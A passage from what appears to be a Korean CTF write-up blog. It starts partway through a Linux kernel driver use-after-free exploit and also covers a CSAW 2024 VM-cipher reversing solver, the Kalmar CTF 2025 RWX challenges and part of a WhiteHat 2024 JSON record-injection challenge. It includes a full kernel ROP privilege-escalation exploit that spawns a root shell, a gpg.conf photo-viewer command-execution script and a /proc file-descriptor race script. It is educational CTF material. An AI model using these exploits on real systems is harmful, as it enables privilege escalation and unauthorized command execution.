    mutex_lock(&test_mutex);

    if(ptr) {
        kfree(ptr);                                     // ptr still pointing slab chunk
    }

    if(count<256) {
        len = count;
        count = 256;
    } else if(count>0x40000) {
        len = 416;
    } else {
        len = count;
    }

    if(result = (char *)kmalloc(count, GFP_ATOMIC))     // fails if count is too big
        ptr = result;                                   // dangling pointer!

    if (copy_from_user(ptr, buf, len) != 0) {
        mutex_unlock(&test_mutex);
        return -EFAULT;
    }

    mutex_unlock(&test_mutex);

    return 0;
}

input_test_driver_write()는 유저 공간에서 해당 드라이버에 대해 write()를 호출했을 때 커널 내부에서 호출되는 함수이다.

문제는 ptr이 NULL이 아니면 가리키고 있는 영역을 해제하고 다시 할당하는데, ptr을 초기화하지는 않는다. 대신 뒤에서 슬랩 객체를 새로 할당해서 ptr에 주소를 넣어주는데, 여기에서 또 다른 취약점이 발생한다.

커널의 kmalloc()에서 큰 사이즈의 슬랩 객체를 요청하면 할당에 실패하게 되고, NULL을 리턴한다. result에 NULL이 들어가면 ptr에 값 갱신이 되지 않으므로, 해제했던 ptr이 dangling pointer로 남게 된다.

0x02. Exploit

Info Leak

Exploit을 진행하기에 앞서 보호 기법을 되짚어보면 SMEP가 걸려있기 때문에 kernel ROP를 해야하지만, KASLR이 걸려있어 커널 base 주소를 구해야 한다.

static struct fp_struct {
    char dummy[392];
    asmlinkage int (*gift)(const char *, ...);
    int (*fp_report_ps)(char *, int);
    int (*fp_report_rl)(void);
};

대놓고 fp_struct->gift라는 변수명에 printk() 함수의 주소가 있으므로 잘 생각해보면, strlen()을 이용해 길이를 측정하는 취약점 때문에 dummy를 가득 채워주면 gift에 저장된 주소까지 출력하게 된다.

static int input_test_driver_release(struct inode *inode, struct file *file) {
    printk("input_test_driver release");

    mutex_lock(&test_mutex);

    if(ptr) {
        kfree(ptr);
        ptr = 0;
    }

    if(_fp) {
        kfree(_fp);
        _fp = 0;
    }

    mutex_unlock(&test_mutex);

    return 0;
}

드라이버와 통신하기 위해 open()했던 file descriptor를 close()할 때 호출되는 input_test_driver_release()를 보면 ptr, _fp를 해제하고 초기화하는 것을 확인할 수 있다.

하지만 슬랩 객체 안에 있는 데이터는 초기화하지 않기 때문에, 해제된 _fp의 크기와 비슷한 크기의 ptr을 할당한다면 해제되었던 영역을 다시 받아서 사용할 수 있다.

    fd1 = open("/dev/input/event2", O_RDONLY);
    fd2 = open("/dev/input_test_driver", O_RDWR);
    
    write(fd2, "AAAAAAAA", 8);          // kernel panic if there is no ptr
    ioctl(fd2, 0x1337, NULL);
    close(fd2);

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x42, 392);
    write(fd2, payload, 392);

    ioctl(fd2, 0x1337, NULL);

이렇게 ioctl() 호출을 통해 _fp를 할당하고 close()하면 슬랩 객체의 크기가 416바이트이므로 kmalloc-512 캐시로 이동한다. printk()의 주소를 덮어쓰지 않기 위해 392바이트의 슬랩 객체를 할당하려고 하면 kmalloc-512 캐시에 있는 객체가 반환된다.

이를 이용해 392바이트를 0이 아닌 값(0x42)로 채워넣으면 strlen()에서 NULL을 만날 때까지 길이를 측정하므로 printk()의 주소를 leak할 수 있다.

/ $ ./exp
type: 1, code: 330, value: 0x1 
type: 3, code: 0, value: 0x41 
type: 3, code: 1, value: 0x41 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x0 
type: 3, code: 1, value: 0x0 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x42 
type: 3, code: 1, value: 0x42 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x20 
type: 3, code: 1, value: 0x20 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xb8 
type: 3, code: 1, value: 0xb8 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xae 
type: 3, code: 1, value: 0xae 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xb3 
type: 3, code: 1, value: 0xb3 
leak : 0xffffffffb3aeb820

Use After Free

UAF 취약점을 트리거하고 난 후의 상황을 생각해보면 ptr은 dangling pointer가 되어 free된 슬랩 객체를 가리키고 있다. 이 슬랩 객체가 kmalloc-512 캐시에 있다면 ioctl()을 통해 _fp 할당 시 그 객체를 반환받게 된다.

static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    ...
    if(count<256) {
        len = count;
        count = 256;
    } else if(count>0x40000) {
        len = 416;
    } else {
        len = count;
    }

    if(result = (char *)kmalloc(count, GFP_ATOMIC))
        ptr = result;

    if (copy_from_user(ptr, buf, len) != 0) {
        mutex_unlock(&test_mutex);
        return -EFAULT;
    }
    ...
}

따라서 ptr, _fp가 같은 슬랩 객체를 가리키게 되고, kmalloc()의 size가 커서 할당에 실패하더라도 copy_from_user()는 실행되므로 _fp의 함수 포인터를 덮어쓸 수 있다.

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x43, 392);
    write(fd2, payload, 416);
    write(fd2, payload, 0x500000);

    ioctl(fd2, 0x1337, NULL);

    *(uint64_t *)(payload + 408) = xchg_64;
    write(fd2, payload, 0x510000);

    ioctl(fd2, 0x7331, NULL);

Exploit 흐름을 설명하면,

write()를 통해 416 바이트짜리 슬랩 객체 할당
write()를 다시 호출해서
- 기존 슬랩 객체를 해제, kmalloc-512로 이동
- 의도적으로 큰 사이즈의 객체를 요청해 갱신 실패
ioctl()을 통해 _fp 할당, 이 때 kmalloc-512에서 슬랩 객체를 받아오게 됨
write()를 마지막으로 호출해서 ptr, 즉 _fp에 416 바이트를 쓰는 과정에서 함수 포인터 overwrite

함수 포인터를 바꿔 rip control만 가능한 상황이므로 xchg eax, esp 가젯과 fake stack을 이용해 rop payload를 전달할 수 있다.

0x03. Payload

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <linux/input.h>

void shell() {
    execl("/bin/sh", "sh", NULL);
}

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
       );
    rv.user_rip = &shell;
}

void set_fake_stack(void *xchg_64) {
    uint32_t xchg_32;
    int i = 0;

    size_t pop_rdi_ret = xchg_64 + 0x6170f;
    size_t prepare_kernel_cred = xchg_64 + 0x8fe8f;
    size_t pop_rcx_ret = xchg_64 + 0x285312;
    size_t mov_rdi_rax_rep_pop_rbp_ret = xchg_64 + 0xf2ee;
    size_t commit_creds = xchg_64 + 0x8fadf;
    size_t swapgs_pop_rbp_ret = xchg_64 + 0x4c103;
    size_t iretq = xchg_64 + 0x2bc4f;
    
    xchg_32 = (uint32_t)xchg_64;
    mmap((void *)(xchg_32), 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    backup_rv();

    ((uint64_t *)xchg_32)[i++] = pop_rdi_ret;
    ((uint64_t *)xchg_32)[i++] = 0;
    ((uint64_t *)xchg_32)[i++] = prepare_kernel_cred;
    ((uint64_t *)xchg_32)[i++] = pop_rcx_ret;
    ((uint64_t *)xchg_32)[i++] = 0;
    ((uint64_t *)xchg_32)[i++] = mov_rdi_rax_rep_pop_rbp_ret;
    ((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
    ((uint64_t *)xchg_32)[i++] = commit_creds;
    ((uint64_t *)xchg_32)[i++] = swapgs_pop_rbp_ret;
    ((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
    ((uint64_t *)xchg_32)[i++] = iretq;
    ((uint64_t *)xchg_32)[i++] = rv.user_rip;
    ((uint64_t *)xchg_32)[i++] = rv.user_cs;
    ((uint64_t *)xchg_32)[i++] = rv.user_rflags;
    ((uint64_t *)xchg_32)[i++] = rv.user_rsp;
    ((uint64_t *)xchg_32)[i++] = rv.user_ss;
}

int main() {
    struct input_event ie;
    int fd1, fd2, ret;
    char payload[416];
    size_t leak = 0xffffffff00000000;
    int i = 0, flag = 0;
    size_t xchg_64;
    
    fd1 = open("/dev/input/event2", O_RDONLY);
    fd2 = open("/dev/input_test_driver", O_RDWR);
    
    // step 1 : leak kernel base address
    write(fd2, "AAAAAAAA", 8);
    ioctl(fd2, 0x1337, NULL);
    close(fd2);

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x42, 392);
    write(fd2, payload, 392);

    ioctl(fd2, 0x1337, NULL);
    
    while(1) {
        read(fd1, &ie, sizeof(struct input_event));
        printf("type: %d, code: %d, value: 0x%x \n", ie.type, ie.code, (unsigned char)ie.value);
        if(ie.code == 1 && ie.value == 0x20 || ie.code == 1 && flag) {
            leak = leak | (unsigned char)(ie.value) << (flag * 8);
            flag++;
            if(flag == 4)
                break;
        }
    }
    // step 2 : calculate the address of xchg_64
    printf("leak : 0x%lx\n", leak);
    xchg_64 = leak - 0xcdd5f;
    printf("xchg_64 : 0x%lx\n", xchg_64);

    close(fd1);
    close(fd2);

    // step 3 : set fake stack
    set_fake_stack(xchg_64);

    // step 4 : overwrite function pointer
    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x43, 392);
    write(fd2, payload, 416);
    write(fd2, payload, 0x500000);

    ioctl(fd2, 0x1337, NULL);

    *(uint64_t *)(payload + 408) = xchg_64;
    write(fd2, payload, 0x510000);

    ioctl(fd2, 0x7331, NULL);

    close(fd2);
    return 0;
}

CSAW 2024 - Archeology

2025-03-28T00:00:00+00:00

0x00. Introduction

➜  ls
chal  hieroglyphs.txt  message.txt
➜  file chal 
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bbcf6cbfa61b68c7b8bfa3145852d06580a55643, for GNU/Linux 3.2.0, not stripped

0x01. Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  if ( argc == 2 )
  {
    *(_DWORD *)magic = 0xDDCCBBAA;
    magic[4] = 0xEE;
    plain = (char *)argv[1];
    plain_len = strlen(plain);
    index = 0;
    printf("Encrypted data: ");
    washing_machine(plain, plain_len);
    ...
  }
}

먼저 바이너리를 실행할 때 입력한 인자를 washing_machine()에 전달해서 실행한다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
    ...
    for ( i = 0; i < plain_len; ++i )
    {
      buf[index] = 0; 
      buf[index + 1] = 1;
      buf[index + 2] = plain[i];
      index += 3;
      for ( j = 0; j <= 9; ++j )
      {
        buf[index] = 0; 
        buf[index + 1] = 0;
        buf[index + 2] = magic[(10 * i + j) % 5];
        buf[index + 3] = 8; 
        buf[index + 4] = 1;
        buf[index + 5] = 3;
        buf[index + 6] = 3; 
        buf[index + 7] = 1;
        buf[index + 8] = 1; 
        buf[index + 9] = 1;
        buf[index + 10] = 0;
        buf[index + 11] = 2; 
        buf[index + 12] = 1;
        buf[index + 13] = 3;
        index += 14;
      }
      buf[index] = 4; 
      buf[index + 1] = 1;
      buf[index + 2] = i;
      index += 3;
    }
    buf[index] = 7; 
    runnnn(buf);
    washing_machine((char *)memory, plain_len);
    ...
}

그 다음 washing_machine()에 의해 변경된 plain의 값을 buf에 한 바이트씩 템플릿처럼 넣어준다. 이 buf는 runnnn()의 인자로 들어가고, 함수 내부에서는 값에 맞는 동작을 수행한다.

말하자면 바이너리는 사전 정의된 instruction set을 가지는 virtual machine이고, buf에 값을 넣어주는 행위는 shellcode를 만들어주는 동작이라고 보면 된다.

Goal

int __fastcall main(int argc, const char **argv, const char **envp)
{
    ...
    stream = fopen("hieroglyphs.txt", "r");
    if ( stream )
    {
      for ( k = 0; fgets(&symbols[256 * k], 256, stream) && k <= 255; ++k )
        *(&savedregs + 256 * k + strcspn(&symbols[256 * k], "\n") - (char *)&unk_12730) = 0;
      fclose(stream);
      for ( m = 0; m < plain_len; ++m )
        printf("%s", &symbols[256 * memory[m]]);
      putchar(10);
      exit(0);
    }
    perror("Failed to open hieroglyphs.txt");
    return 1;
    ...
}

연산이 끝나면 hieroglyphs.txt를 읽어서 왜인지 모르겠지만 256바이트마다 상형문자의 유니코드 값을 로드한다. 그리고 memory의 값을 읽어 그 값 번째의 상형문자를 출력해준다.

말이 어려운데, memory[0]에 저장된 값이 123이라고 하면 123번째 상형문자를 출력해준다.

따라서 목표는 어떤 plaintext를 입력해야 message.txt에 쓰여진 내용이 출력되는지 역산하는 것이다.

0x02. Exploit

Ciphertext가 생성되는 과정을 pseudocode로 나타내면 다음과 같다.

tmp = washing_machine(plain)
shellcode = generate_shellcode(tmp)
runnnn(shellcode)
cipher = washing_machine(memory)

generate_shellcode()는 그렇다치고, washing_machine()과 runnnn()의 동작을 리버싱해야한다.

washing_machine

unsigned __int64 __fastcall washing_machine(char *data, unsigned __int64 data_len)
{
  ...
  curr = *data;
  for ( i = 1LL; i < data_len; ++i )
  {
    next = curr ^ data[i];
    data[i] = next;
    curr = next;
  }
  for ( j = 0LL; ; ++j )
  {
    result = data_len >> 1;
    if ( j >= data_len >> 1 )
      break;
    tmp = data[j];
    data[j] = data[data_len - j - 1];
    data[data_len - j - 1] = tmp;
  }
  return result;
}

다음과 같이 크게 두 가지 연산을 한다.

data[i] = data[i] ^ data[i + 1]
문자열 뒤집기

따라서 이 연산을 복호화하려면 다음과 같다.

def dewashing_machine(data):
    res = data[::-1]
    for i in range(len(res) - 1, 0, -1):
        res[i] = res[i] ^ res[i - 1]
    return res

runnnn

int __fastcall runnnn(__int64 start)
{
  ...
  cnt = 0;
  flag = 1;
  while ( flag )
  {
    index = cnt++;
    opcode = *(index + start);
    switch ( opcode )
    {
      case 0u:                                  // mov regs[op1], op2
        op1 = *(start + cnt);
        op2 = *(start + cnt + 1);
        cnt += 2;
        regs[op1] = op2;
        break;
      ...
      default:
        LODWORD(v2) = puts("Invalid instruction");
        flag = 0;
        break;
    }
  }
}

runnnn()은 위와 같은데, 다 보기엔 너무 많으니 정리하자면 다음과 같다.

opcode	instruction
0	`mov regs[op1], op2`
1	`xor regs[op1], regs[op2]`
2	`rol regs[op1], op2`
3	`sbox regs[op1]`
4	`mov memory[op2], regs[op1]`
8	`mov regs[op1], memory[op2]`
6	`print regs[op1]`
7	`exit`
8	`ror regs[op1], op2`

참고로 sbox regs[op1]은 sbox에서 regs[op1]에 담긴 값의 인덱스에 저장된 값을 가져오는 instruction이다. 이를 바탕으로 buf를 해석해보면 다음과 같다.

for ( i = 0; i < plain_len; ++i )
{
  mov regs[1], plain[i];
  for ( j = 0; j < 10; ++j )
  {
    mov regs[0], AA | BB | CC | DD | EE
    ror regs[1], 3
    sbox regs[1]
    xor regs[1], regs[0]
    rol regs[1], 3
  }
  mov memory[i], reg[1]
}
exit

따라서 이 연산을 복호화하려면 다음과 같다.

def nnnnur(data):
    res = []
    key = [0xEE, 0xDD, 0xCC, 0xBB, 0xAA]
    for d in data:
        for i in range(10):
            # ror 3
            d = ((d >> 3) | (d << 5)) & 0xff
            # xor EE | DD | CC | BB | AA
            d = d ^ key[i % 5]
            # inv_sbox
            d = sbox.index(d)
            # rol 3
            d = ((d << 3) | (d >> 5)) & 0xff
        res.append(d)
    return res

0x03. Payload

sbox = [
    0x48, 0x5c, 0xbc, 0x97, 0x81, 0x91, 0x60, 0xad, 0x94, 0xcb, 0x92, 0x39, 0x1a, 0xf,  0x30, 0x2d, 
    0x45, 0xde, 0x14, 0xa2, 0x8,  0x57, 0xb6, 0xae, 0x76, 0x8e, 0x87, 0x15, 0xc,  0xe7, 0x62, 0xc8, 
    0x58, 0x29, 0x6d, 0xc9, 0xa7, 0xbe, 0x4,  0x49, 0x5,  0xfa, 0x75, 0x9f, 0xfd, 0x95, 0xbb, 0x5b, 
    0x79, 0xbf, 0xda, 0xeb, 0x21, 0x9b, 0xa5, 0x82, 0x3a, 0x3e, 0xb9, 0x99, 0xf0, 0xf5, 0x6b, 0x6,
    0xfc, 0xaf, 0xf2, 0xb0, 0x78, 0x86, 0xcf, 0xd4, 0x83, 0x59, 0x0,  0x4a, 0xb5, 0xfe, 0xab, 0x3d, 
    0xc7, 0x8c, 0xe3, 0xc3, 0xe5, 0x3,  0x5a, 0x1d, 0x9d, 0x1f, 0xa,  0x56, 0xc0, 0xba, 0x43, 0x25, 
    0x77, 0x24, 0x7c, 0xa6, 0xdf, 0xf1, 0x4b, 0x44, 0xff, 0x4c, 0xaa, 0xc1, 0x69, 0xf9, 0x38, 0x88, 
    0x9a, 0xa4, 0xe6, 0x10, 0xdc, 0xea, 0x68, 0x8d, 0x5f, 0x63, 0xbd, 0x8b, 0xf3, 0x7e, 0xdb, 0x73, 
    0x5d, 0x65, 0x67, 0xa1, 0x72, 0xd8, 0xb1, 0x1b, 0x9e, 0x84, 0x16, 0x32, 0xe1, 0xf4, 0xef, 0x93, 
    0xac, 0x74, 0x36, 0x8f, 0xcc, 0x61, 0xd,  0x35, 0x12, 0xdd, 0x4e, 0xc4, 0x64, 0x3f, 0x9,  0x70, 
    0x2a, 0xfb, 0xc5, 0x85, 0x3b, 0x1c, 0x50, 0x19, 0xd5, 0xe9, 0x47, 0xb,  0xe2, 0xca, 0xc6, 0xf7, 
    0xb2, 0xd6, 0xf8, 0x11, 0x54, 0x6e, 0x90, 0xc2, 0xec, 0x96, 0x51, 0xd7, 0xe8, 0x31, 0x80, 0x7d, 
    0x18, 0x34, 0xb7, 0x2,  0xa0, 0x7a, 0xb3, 0xd0, 0x46, 0x66, 0x37, 0x1e, 0x7b, 0x42, 0x6c, 0x17, 
    0xd9, 0x33, 0x2b, 0x22, 0xce, 0xa9, 0x7f, 0xb4, 0x7,  0x6a, 0x41, 0x40, 0x26, 0x2f, 0xa8, 0xcd, 
    0x71, 0xb8, 0x53, 0x13, 0x5e, 0xf6, 0xe0, 0x52, 0x4f, 0x6f, 0xe4, 0x89, 0x3c, 0x9c, 0xa3, 0x8a, 
    0x4d, 0x28, 0xe,  0xd3, 0xd2, 0x98, 0xee, 0x2c, 0x2e, 0xed, 0x27, 0x20, 0x1,  0x23, 0x55, 0xd1
]

def get_cipher_index():
    with open("./hieroglyphs.txt") as f:
        h = f.readlines()
        h = [c[0] for c in h]

    with open("./message.txt") as f:
        m = f.read()

    res = []
    for c in m:
        if c == '\n':
            break
        res.append(h.index(c))

    return res

def dewashing_machine(data):
    res = data[::-1]
    for i in range(len(res) - 1, 0, -1):
        res[i] = res[i] ^ res[i - 1]
    return res

def nnnnur(data):
    res = []
    key = [0xEE, 0xDD, 0xCC, 0xBB, 0xAA]
    for d in data:
        for i in range(10):
            # ror 3
            d = ((d >> 3) | (d << 5)) & 0xff
            # xor EE | DD | CC | BB | AA
            d = d ^ key[i % 5]
            # inv_sbox
            d = sbox.index(d)
            # rol 3
            d = ((d << 3) | (d >> 5)) & 0xff
        res.append(d)
    return res

if __name__ == '__main__':
    data = get_cipher_index()
    data = dewashing_machine(data)
    data = nnnnur(data)
    data = dewashing_machine(data)
    print(data)
    print(''.join(chr(_) for _ in data))

Kalmar CTF 2025 - RWX series

2025-03-13T00:00:00+00:00

0x00. Introduction

FROM ubuntu:latest

RUN apt-get update && \
    apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages

WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt

COPY would.c /
RUN gcc -o would would.c && \
    chmod 6111 would && \
    rm would.c

WORKDIR /app
COPY app.py .

RUN useradd -m user
USER user

CMD ["python3", "app.py"]

Dockerfile을 보면 would.c를 빌드해서 / 디렉토리 밑에 would 바이너리를 생성한다. flask로 구동되는 웹 서버를 올리는데 이를 이용해서 flag를 획득해야 한다.

Concept

int main(int argc, char *argv[]) {
    char full_cmd[256] = {0}; 
    for (int i = 1; i < argc; i++) {
        strncat(full_cmd, argv[i], sizeof(full_cmd) - strlen(full_cmd) - 1);
        if (i < argc - 1) strncat(full_cmd, " ", sizeof(full_cmd) - strlen(full_cmd) - 1);
    }

    if (strstr(full_cmd, "you be so kind to provide me with a flag")) {
        FILE *flag = fopen("/flag.txt", "r");
        if (flag) {
            char buffer[1024];
            while (fgets(buffer, sizeof(buffer), flag)) {
                printf("%s", buffer);
            }
            fclose(flag);
            return 0;
        }
    }

    printf("Invalid usage: %s\n", full_cmd);
    return 1;
}

would.c를 보면 /would you be so kind to provide me with a flag로 바이너리를 실행해서 flag를 획득할 수 있다.

@app.route('/read')
def read():
    filename = request.args.get('filename', '')
    try:
        return send_file(filename)
    except Exception as e:
        return str(e), 400

@app.route('/write', methods=['POST'])
def write():
    filename = request.args.get('filename', '')
    content = request.get_data()
    try:
        with open(filename, 'wb') as f:
            f.write(content)
        return 'OK'
    except Exception as e:
        return str(e), 400

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 7:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=6664)

app.py를 보면 user 권한으로 arbitrary read / write가 가능하고 명령어 실행은 길이 제한이 있다.

이런 식으로 RWX-Bronze, RWX-Silver, RWX-Gold, RWX-Diamond가 있는데 길이가 점점 줄어들거나 환경이 바뀌는 형식이다.

0x01. RWX-Bronze

제일 처음 문제인 Bronze에서는 7바이트 제한이 걸려있다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 7:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

/write 엔드포인트를 이용해서 다음 내용을 /home/user/x라는 파일에 저장했다.

/would you be so kind to provide me with a flag

이후 /exec 엔드포인트를 통해 다음 명령어를 실행해주면 된다.

sh<~x

0x02. RWX-Silver

이번에는 5바이트 제한이 걸려있다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 5:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

Bronze와 마찬가지로 /home/user/x를 생성하고 다음 명령어를 실행해주면 된다.

. ~/x

0x03. RWX-Gold

이번에는 3바이트인데 여기부터는 대회중에 못풀었다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 3:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

. ~, ~/*, ~;* 등 다양하게 시도를 해봤는데 다 실패했다.

나중에 writeup을 보니 PGP의 gnu 버전인 GPG(Gnu Privacy Guard)라는 도구를 이용해야 했다. 살면서 처음 들어보는 도구인데 놀랍게도 ubuntu에 기본으로 깔려있다.

Exploit 시나리오를 위해 잠시 PGP에 대한 background를 설명하자면,

PGP 키는 여러 개의 패킷(packet)으로 구성
- 공개 키 패킷
- 비밀 키 패킷
- 사용자 ID 패킷
- 서명 패킷
- 사진 ID 패킷
- …
gpg.conf 파일을 통해 GPG의 동작 방식을 제어할 수 있음
- list-options : gpg --list-keys 실행 시 옵션을 설정하는 tag
  - show-photos : 키를 나열할 때 PGP 키에 첨부된 사진 표시
- photo-viewer : PGP 키에 첨부된 사진을 표시할 때 사용할 프로그램을 지정하는 tag
- list-keys : 이 옵션이 gpg.conf에 있으면 gpg 실행 시 자동으로 키 목록을 표시

설명이 gpg, pgp를 왔다갔다 하는데 서로 호환되게 구현된 것이므로 틀린 표현은 아니다.

따라서 다음과 같은 내용을 /home/user/.gnupg/gpg.conf라는 파일에 저장한다.

list-options show-photos
photo-viewer /would you be so kind to provide me with a flag > /tmp/x 
list-keys

이후 gpg 명령을 실행해주면 설정값에 따라 키 목록을 표시하게 되고, 그 과정에서 사진을 출력할 바이너리가 /would you be so kind to provide me with a flag > /tmp/x으로 지정되어있으므로 사진을 출력할 때 명령어가 실행된다.

Payload

import requests
import base64

url = "http://localhost:6664"

def rwx_read(filename):
    uri = url + "/read"
    uri += "?filename=" + filename
    return requests.get(uri)

def rwx_write(filename, data):
    uri = url + "/write"
    uri += "?filename=" + filename
    return requests.post(uri, data=data)

def rwx_exec(cmd):
    uri = url + "/exec"
    uri += "?cmd=" + cmd
    return requests.get(uri)

def main():
    rwx_exec("gpg")
    gpg_conf_content = (
        "list-options show-photos\n"
        "photo-viewer /would you be so kind to provide me with a flag > /tmp/x\n"
        "list-keys\n"
    )
    rwx_write("/home/user/.gnupg/gpg.conf", gpg_conf_content)

    with open("pubring.kbx", "rb") as f:
        pubring_data = f.read()
    rwx_write("/home/user/.gnupg/pubring.kbx", pubring_data)
    
    rwx_exec("gpg")
    r = rwx_read("/tmp/x")
    print(r.text)

if __name__ == '__main__':
    main()

0x04. RWX-Diamond

마지막 문제는 오히려 4바이트로 길이가 늘어났다.

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 4:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

하지만 Dockerfile을 보면 달라진게 있다.

...
# RUN useradd -m user
RUN useradd user
USER user

CMD ["python3", "app.py"]

useradd를 할 때 -m 옵션이 없기 때문에 /home/user 디렉토리가 생성되지 않아서 기존 방식을 사용할 수 없다.

마찬가지로 대회중에 못풀어서 writeup을 확인해보니 race condition으로 해결할 수 있었다.

➜  rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
    PID TTY          TIME CMD
      1 ?        00:00:00 python3
      8 ?        00:00:00 sh
      9 ?        00:00:00 ps
➜  rwx-diamond curl "http://localhost:6664/exec?cmd=ps"
    PID TTY          TIME CMD
      1 ?        00:00:00 python3
     11 ?        00:00:00 sh
     12 ?        00:00:00 ps

이런 식으로 명령어를 연속으로 실행할 경우 pid가 3만큼 증가하므로 다음 프로세스의 pid를 예측할 수 있다.

Exploit 시나리오는 다음과 같다.

write	exec
Create write process
	Create exec process
Write “/would you …” to `STDIN` of `sh`
	Execute `w\|sh`

w|sh 명령을 실행하는 이유는 길이가 4바이트까지이고 sh 프로세스에 STDIN을 줘야하기 때문에 한 바이트짜리 명령어인 w를 사용하는 것이다. 존재하지 않는 명령어를 STDIN으로 줘도 될 것 같지만 time window가 다른지 존재하는 명령어가 성공 확률이 높다고 한다.

이 때 w|sh는 sh라는 또 다른 프로세스를 생성하므로 pid를 3이 아닌 4만큼 증가시켜야 한다.

컨셉은 간단한데 발상이 대단한 것 같다.

Payload

import requests
import threading
from time import sleep

url = "http://localhost:6664"
cmd = "/would you be so kind to provide me with a flag"

def race_fd():
    global pid
    requests.post(f"{url}/write?filename=/proc/{pid}/fd/0", data=cmd)

def race_cmd():
    global res
    res = requests.get(f"{url}/exec?cmd=w|sh").text

def rwx_exec(cmd):
    uri = url + "/exec"
    uri += "?cmd=" + cmd
    return requests.get(uri)

while True:
    r = rwx_exec("ps")
    pid = int(r.text.split("\n")[-2].split()[0])
    pid += 4
    print(f"[*] trying {pid}")

    thread_cmd = threading.Thread(target=race_cmd)
    thread_fd = threading.Thread(target=race_fd)

    thread_fd.start()
    thread_cmd.start()
    thread_cmd.join()
    thread_fd.join()

    if "kalmar{" in res:
        print(res)
        break
    
    sleep(0.1)

WhiteHat Contest 2024 - json

2024-11-23T00:00:00+00:00

0x00. Introduction

[*] '/home/user/json'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Concept

init() 함수를 보면 실행 때마다 /users/[random string]라는 이름으로 USER_FILE을 생성해서 DB 파일로 사용한다. 최초에는 user_base.bin 파일을 읽어와 그대로 저장하며 내용은 다음과 같다.

[2|guest|guest|guest memo]
- 2 : type
- 1st guest : user
- 2nd guest : pass
- guest memo : memo

이 DB 파일을 기반으로 user, pass가 일치하면 token을 발행해 세션을 생성하고, 그 정보를 session 전역변수에 저장한다.

Structure

struct sess // sizeof=0x40
{
    char user[16];
    char pass[16];
    char *memo;
    __int64 type;
    char token[16];
};

발행된 세션에 대한 정보가 위와 같은 구조체 형식으로 저장된다.

Goal

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
    ...
        else if ( !strcmp((const char *)s, "UpdateMemo") && LOBYTE(session->type) == '1' )
        {
          update_memo();
        }
    ...
}

char *update_memo()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  read(0, buf, 0x100uLL);
  return strncpy((char *)session->memo, buf, 0x100uLL);
}

type이 1일 경우 update_memo()를 호출할 수 있고, 그 안에서 BOF가 발생한다.

0x01. Vulnerability

void __fastcall create_user(__int64 json)
{
  ...
  stream = fopen(USER_FILE, "ab");
  ...
  extract(json, "user", user, 16);
  extract(json, "pass", pass, 16);
  extract(json, "memo", memo, 256);
  if ( *(_BYTE *)user && *(_BYTE *)pass && *(_BYTE *)memo )
  {
    fwrite("[", 1uLL, 1uLL, stream);
    fwrite("2", 1uLL, 1uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(user, 1uLL, 0x10uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(pass, 1uLL, 0x10uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(memo, 1uLL, 0x100uLL, stream);
    fwrite("]\n", 1uLL, 2uLL, stream);
  }
  ...
}

create_user()에서 USER_FILE에 사용자를 추가할 수 있는데 type이 2가 되게끔 하드코딩 되어있다.

하지만 memo에 대한 검증이 없어 다음과 같이 injection이 가능하다.

memo : AAAA]\n[1|admin|admin|admin memo

[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]

